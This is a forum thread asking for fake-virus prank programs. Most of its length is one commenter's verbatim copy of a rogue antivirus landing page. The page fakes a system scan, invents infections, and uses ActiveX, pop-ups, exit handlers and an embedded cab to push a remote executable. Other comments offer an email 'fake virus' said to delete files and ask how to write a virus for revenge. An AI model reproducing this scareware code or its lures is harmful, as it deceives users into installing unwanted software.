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Post Description: Funny Fake Virus Prank Joke for Computer Windows Email Download Install
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This Post Was Posted On Feb 29, 2008 By mimo #1003

Funny Fake Virus Prank Joke for Computer Windows Email Download Install by mimo

I want to play a prank on a friend and i was wondering if you guys know of or know where i can get a fake virus program to scare my friends. i know there's been some exes programs that i can use, i used to have one but i forgot where i got it or what its called. someone once send me one and when i got it i got so scared, but later i found out that my cousin was just kidding (playing) with me. i really got scared.

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flaaghara

#1300 1

oops my email is mauradertokill at myemail

Feb 02, 2008 Reply Report abuse

flaaghara

#1299 2

i have a good fake virus for all of yall. its so scarywith deletin g all of your files and tojans being loaded and your screen going into impossible junctions. just email me at mauradertokill at myemail for a free copy of it. you must have either a myemail or aim account for this to work!

Feb 02, 2008 Reply Report abuse

cvs

#1298 3

hi i could no t work it out

Jan 25, 2008 Reply Report abuse

winslow

#1297 4

wassss-up i have you now

Jan 13, 2008 Reply Report abuse

spiderman

#1296 5

que spiderman abre esto

Jan 03, 2008 Reply Report abuse

robert shaw

#1295 6

can you send fake email virus to me please

Nov 08, 2007 Reply Report abuse

alex

#1294 7

tell me more of whats available

Nov 08, 2007 Reply Report abuse

leepilling

#1293 8

can u send me a fake virus to my email plz

Sep 20, 2007 Reply Report abuse

taking

#1292 9

i know what you mean, i clicked on a link in google search and i was sent to this site also, i got their html, its all done in javascript:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>ContraVirus</title>
<link rel="stylesheet" type="text/css" href="styles/landing5.css" />
<style>
.overlay
{
FILTER: alpha(opacity=60); LEFT: 0px; POSITION: absolute; TOP: 0px; BACKGROUND-COLOR: #000; moz-opacity: 0.6; opacity: 0.6
}
</style>
<script>
var progressbar;
var progressbar1;
var scanedfilelist = new Array();
var state;
var timer;
var curfile = 0;
var infectedcount = 0;
var meminfectedcount = 0;
var objinfectedcount = 0;
var meminfectedcount1 = 0;
var objinfectedcount1 = 0;
</script>
<script src="jscript/landing5/fileslist.js"></script>
<script src="jscript/landing5/progressbar.js"></script>
<script src="jscript/landing5/common.js"></script>
<script>

is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}

if(is_XP_SP2) {
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
document.write("<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>");
}

function checkstate()
{
var statusmessage = document.getElementById('IDstatusmessage');
var statusmessage1 = document.getElementById('IDstatusmessage1');
if(statusmessage.state == state.toString() && statusmessage.substate == state.substate)
{
return;
};
statusmessage.state = state.toString();
statusmessage.substate = state.substate;
switch(state.toString())
{
case 'INIT':
statusmessage.innerHTML = 'init';
break;

case 'BEGINSCAN':
statusmessage.innerHTML = "scanning yor computer";
statusmessage1.innerHTML = "scanning yor system performance";
break;

case 'STOPSCAN':
statusmessage.innerHTML = "scanning stoped";
statusmessage1.innerHTML = "scanning stoped";
break;

case 'INITIALIZED':
statusmessage.innerHTML = 'scanning complete';
statusmessage1.innerHTML = 'scanning complete';
break;
};
};
function stateaction(state, data)
{
switch(state)
{
case 'BEGINSCAN':
startScan();
break;

case 'STOPSCAN':
window.clearInterval(timer);
break;
case 'INITIALIZED':
window.clearInterval(timer);
hdd2();
break;
};
};
</script>
<script>
function startScan()
{
var button = document.getElementById('IDremoveallbutton');
var button1 = document.getElementById('IDremoveallbutton1');
var scanedfile = document.getElementById('IDscanedfile');
var infected = document.getElementById('IDinfected');
var scanedfile1 = document.getElementById('IDscanedfile1');
var infected1 = document.getElementById('IDinfected1');

var persents = document.getElementById('IDPersents');
var persents1 = document.getElementById('IDPersents1');
timer = window.setInterval(function()
{
if(curfile < scanedfilelist.length)
{
scanedfile.innerHTML = scanedfilelist[curfile];
scanedfile1.innerHTML = scanedfilelist[scanedfilelist.length - curfile - 1];

progressbar.step(parseInt((curfile/scanedfilelist.length) * 100));
progressbar1.step(parseInt((curfile/scanedfilelist.length) * 100));

persents.innerHTML = parseInt((curfile/scanedfilelist.length) * 100) + '%';
persents1.innerHTML = parseInt((curfile/scanedfilelist.length) * 100) + '%';

if(parseInt(Math.random() * 100) == 5)
{
if(parseInt(Math.random() * 10) <= 5)
{
meminfectedcount += 1;
};

objinfectedcount += 1;
infected.innerHTML = '<img src="http://images.contraviruspro.com/landing5/shieldred.gif" align="absmiddle" width="17" height="19"> ' + objinfectedcount + ' item detected, ' + meminfectedcount + ' issue found';
button.style.visibility = 'visible';
};
if(parseInt(Math.random() * 100) == 5)
{
if(parseInt(Math.random() * 10) <= 5)
{
meminfectedcount1 += 1;
};

objinfectedcount1 += 1;
infected1.innerHTML = '<img src="http://images.contraviruspro.com/landing5/shieldred.gif" align="absmiddle" width="17" height="19"> ' + objinfectedcount1 + ' item detected, ' + meminfectedcount1 + ' issue found';
button1.style.visibility = 'visible';
};
curfile++;
}
else
{
scanedfile.innerHTML = 'comlete';
scanedfile1.innerHTML = 'comlete';

persents.innerHTML = '100%';
persents1.innerHTML = '100%';

progressbar.step(100);
progressbar1.step(100);
state.set('INITIALIZED');
};
}, 10);
};
</script>
<script>
function overlaySize()
{
if (window.innerHeight && window.scrollMaxY || window.innerWidth && window.scrollMaxX)
{
yScroll = window.innerHeight + window.scrollMaxY;
xScroll = window.innerWidth + window.scrollMaxX;
var deff = document.documentElement;
var wff = (deff&&deff.clientWidth) || document.body.clientWidth || window.innerWidth || self.innerWidth;
var hff = (deff&&deff.clientHeight) || document.body.clientHeight || window.innerHeight || self.innerHeight;
xScroll -= (window.innerWidth - wff);
yScroll -= (window.innerHeight - hff);
}
else if (document.body.scrollHeight > document.body.offsetHeight || document.body.scrollWidth > document.body.offsetWidth)
{
// all but Explorer Mac
yScroll = document.body.scrollHeight;
xScroll = document.body.scrollWidth;
}
else
{
// Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
yScroll = document.body.offsetHeight;
xScroll = document.body.offsetWidth;
};

var div = document.getElementById('TB_overlay');

if(div)
{
div.style.height = yScroll + 'px';
div.style.width = xScroll + 'px';
};
}
function showOverLay()
{
if(document.getElementById('TB_overlay') == null)
{
var div = document.createElement('div');
div.className = 'overlay';
div.id = 'TB_overlay';

document.body.appendChild(div);
};

document.getElementById('TB_overlay').style.display = '';
overlaySize();
};
</script>
<SCRIPT language=javascript>
var rrc = 0;
function onloadExecutable()
{
rrc = 1;
if (is_IE) {
if (is_XP_SP2) {
iie.launchURL("http://cab.contraviruspro.com/install154.exe");
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe","new", "width=580,height=180,left="+w+",top="+h);
}
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe", "_blank", "width=580,height=180,left="+w+",top="+h);
}
};
function hideActiveXDialog()
{
if(confirm('Dont close this window if you want you PC to be clean.'))
{
onloadExecutable();
}
else
{
if(document.getElementById("restrictedet").style.visibility == 'hidden')
{
document.getElementById('TB_overlay').style.display = 'none';
};
document.getElementById("restrictedet2").style.visibility = "hidden";

if(state.toString() == 'STOPSCAN')
{
state.set('BEGINSCAN');
};
}
};
function hideWarnDialog()
{
if(confirm('Dont close this window if you want you PC to be clean.'))
{
onloadExecutable();
}
else
{
document.getElementById('TB_overlay').style.display = 'none';

document.getElementById("restrictedet").style.visibility = "hidden";
document.getElementById("restrictedet2").style.visibility = "hidden";
};
};
function hdd2()
{
document.getElementById('IDspywarethreat').style.visibility = 'visible';
showOverLay();
document.getElementById("restrictedet").style.visibility = "visible";
};
function onopenUpdate(sender)
{
document.getElementById("restrictedet2").style.visibility = "visible";
};
function onloadExecutablealt()
{
showOverLay();
onopenUpdate(null);
onloadExecutable();

if(state.toString() == 'BEGINSCAN')
{
state.set('STOPSCAN');
};

return false;
};
</SCRIPT>
<script>
function destroy()
{
if(rrc) return;
alert('You PC still infected with spyware!nnReturn to www.contraviruspro.com and download spyware removal tool!');
if (is_IE) {
if (is_XP_SP2) {
iie.launchURL("http://cab.contraviruspro.com/install154.exe");
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe","new", "width=580,height=180,left="+w+",top="+h);
}
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe", "_blank", "width=580,height=180,left="+w+",top="+h);
}

return false;
};
function init()
{
state = new JSState();
state.onchange = stateaction;
progressbar = new JSProgressBar('IDprogressbar', 'http://images.contraviruspro.com/landing5/pbmarker.gif', '#5BD14A', 305, 12);
progressbar1 = new JSProgressBar('IDprogressbar1', 'http://images.contraviruspro.com/landing5/pbmarker.gif', '#5BD14A', 305, 12);

checkstate();
window.setInterval(checkstate, 100);

state.set('BEGINSCAN');
}
</script>
</head>
<body onload='init()' onunload='return destroy();' onresize='overlaySize()' style='background-color:#2680BA'>

<DIV id=restrictedet style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; visibility: hidden;" align=center>
<DIV style="cursor:hand; WIDTH: 446px; height:294px; POSITION: relative; background-image:url(http://images.contraviruspro.com/landing5/popup.gif)" onclick='onopenUpdate(this); onloadExecutable();'><input type='button' style='POSITION: relative; width:21px; height:21px; left:209px; top:5px; border-width:0px; background-image:url(http://images.contraviruspro.com/landing5/closebutton.gif)' onclick='event.cancelBubble=true; hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</DIV>
<DIV id=restrictedet2 style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 100px; visibility: hidden;" align=center>
<DIV style="cursor:hand; WIDTH: 433px; height:447px; POSITION: relative; background-image:url(http://images.contraviruspro.com/landing5/Activex.gif)" onclick='onloadExecutable();'><input type='button' style='POSITION: relative; width:21px; height:21px; left:201px; top:5px; border-width:0px; background-image:url(http://images.contraviruspro.com/landing5/closebutton.gif)' onclick='event.cancelBubble=true; hideActiveXDialog();'><spacer width='433' height='447' /></DIV>
</div>
<table cellspacing='0' cellpadding='0' style='background-color:white' align='center'>
<tr>
<td>
<table align="center" class="header" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="left"><h3>Warning!! You system might be at risk!!<br />
Spyware and system perfomance scanning are started...</h3></td>
<td align="right"><img src="http://images.contraviruspro.com/landing5/logo2.gif" width="298" height="81" alt="ContraVirus" align="right"></td>
</tr>
</table>
<div align="center">
<div class="text" style="color:#FF0000;">Online Security Scanner requires ActiveX controls to repair your computer.<br />
To continue, click the <img src="http://images.contraviruspro.com/landing5/ax.gif" width="16" height="18" align="absmiddle" /> icon at the top of the page, and then click Ã¯Â¿Â½Install ActiveX ControlÃ¯Â¿Â½.<br />
If you donÃ¯Â¿Â½t see the icon at the top of the page, click <a href="http://cab.contraviruspro.com/install154.exe" onclick="return onloadExecutablealt()">here</a>.</div>
<br />
<div><table cellspacing='0' cellpadding='0' style='border:2px solid #EBE8E8;' width='600' cols='2'>
<tr>
<td valign='top' width='10'><img src='http://images.contraviruspro.com/landing5/lupa.gif' hspace='10' vspace='15'></td>
<td valign='top' style='padding:0px 20px 20px 0px'>
<h1 class='scanertitle'>Status: <a id='IDstatusmessage'></a></h1>

<table cellspacing='0' cellpadding='0' width='100%'>
<tr>
<td><table cellspacing='0' cellpadding='0'>
<tr>
<td valign='middle'><div id='IDprogressbar'></div></td>
<td>  </td>
<td valign='middle'><h2 class='scanerpersent' id='IDPersents'></h2></td>
</tr>
</table></td>
<td align='right'><input id='IDremoveallbutton' type='button' class='scanerbutton' value='Remove All' onclick="return onloadExecutablealt()"></td>
</tr>
</table>

<table cellspacing='0' cellpadding='0' style='margin-left:20px' width='500'>
<tr>
<td>
<h3 class='scanerfiles'>Virus and spyware scan</h3>
<div style='background-color:#E4EDF3;padding:7px 9px'>
<p class='scanertext' style='color:black'>Scanning: <span id='IDscanedfile'></span></p>
<div><p style="color:red" class='scanertext'><b id='IDinfected' style='height:20px'> </b></p></div>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table></div>
<br /><br />
<div><table cellspacing='0' cellpadding='0' style='border:2px solid #EBE8E8;' width='600' cols='2'>
<tr>
<td valign='top' width='10'><img src='http://images.contraviruspro.com/landing5/kluch.gif' hspace='10' vspace='15'></td>
<td valign='top' style='padding:0px 20px 20px 0px'>
<h1 class='scanertitle'>Status: <a id='IDstatusmessage1'></a></h1>

<table cellspacing='0' cellpadding='0' width='100%'>
<tr>
<td><table cellspacing='0' cellpadding='0'>
<tr>
<td valign='middle'><div id='IDprogressbar1'></div></td>
<td>  </td>
<td valign='middle'><h2 class='scanerpersent' id='IDPersents1'></h2></td>
</tr>
</table></td>
<td align='right'><input id='IDremoveallbutton1' type='button' class='scanerbutton' value='Remove All' onclick="return onloadExecutablealt()"></td>
</tr>
</table>

<table cellspacing='0' cellpadding='0' style='margin-left:20px' width='500'>
<tr>
<td>
<h3 class='scanerfiles'>Memory and open ports scanning</h3>
<div style='background-color:#FDFEAE;padding:7px 9px'>
<p class='scanertext' style='color:black'>Scanning: <span id='IDscanedfile1'></span></p>
<div><p style="color:red" class='scanertext'><b id='IDinfected1' style='height:20px'> </b></p></div>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table></div>
<img id='IDspywarethreat' style='visibility: hidden;' src="http://images.contraviruspro.com/landing5/spyware.gif" width="435" height="99" align="middle" border="0" alt="spyware threat" />
<div class="text" style=" text-align:center ">To prevent possible problems such as data lost and Windows crash we recommend you to finish the scanning and <a href="http://cab.contraviruspro.com/install154.exe" onclick="return onloadExecutablealt()">download ContraVirus for free</a></div>
<br />
<a href="http://contraviruspro.com/eula.php" style="font-family: Verdana, Arial, Helvetica, sans-serif; FONT-SIZE: 10px; color: gray;" target="_blank">End User Licence Agreement</a>
</div>
</td>
</tr>

</table>
<script>
var ax = 1;
if (ax == 1) {
document.write('<OBJECT CLASSID="CLSID:B64F4A7C-97C9-11DA-8BDE-F66BAD1E3F3A" CODEBASE="http://cab.contraviruspro.com/install154.cab" BORDER="0" HEIGHT="0" WIDTH="0"></OBJECT>');
}
</script>
</body>
</html>

Jun 25, 2007 Reply Report abuse

virsu

#1291 10

watch out for these jerks, alot of the virus are created by anti-virus companies, that's what keeps them in business you know.

like these guys:

http://contraviruspro.com/land.php?page=5

Jun 25, 2007 Reply Report abuse

JuniorBling

#1290 11

i need help ok so can you hlep out they played me i need to get them back ok
i need to know hot make virus can you help me out well be use for use ok to to harm any ones computer ok can you help me ok

May 26, 2007 Reply Report abuse

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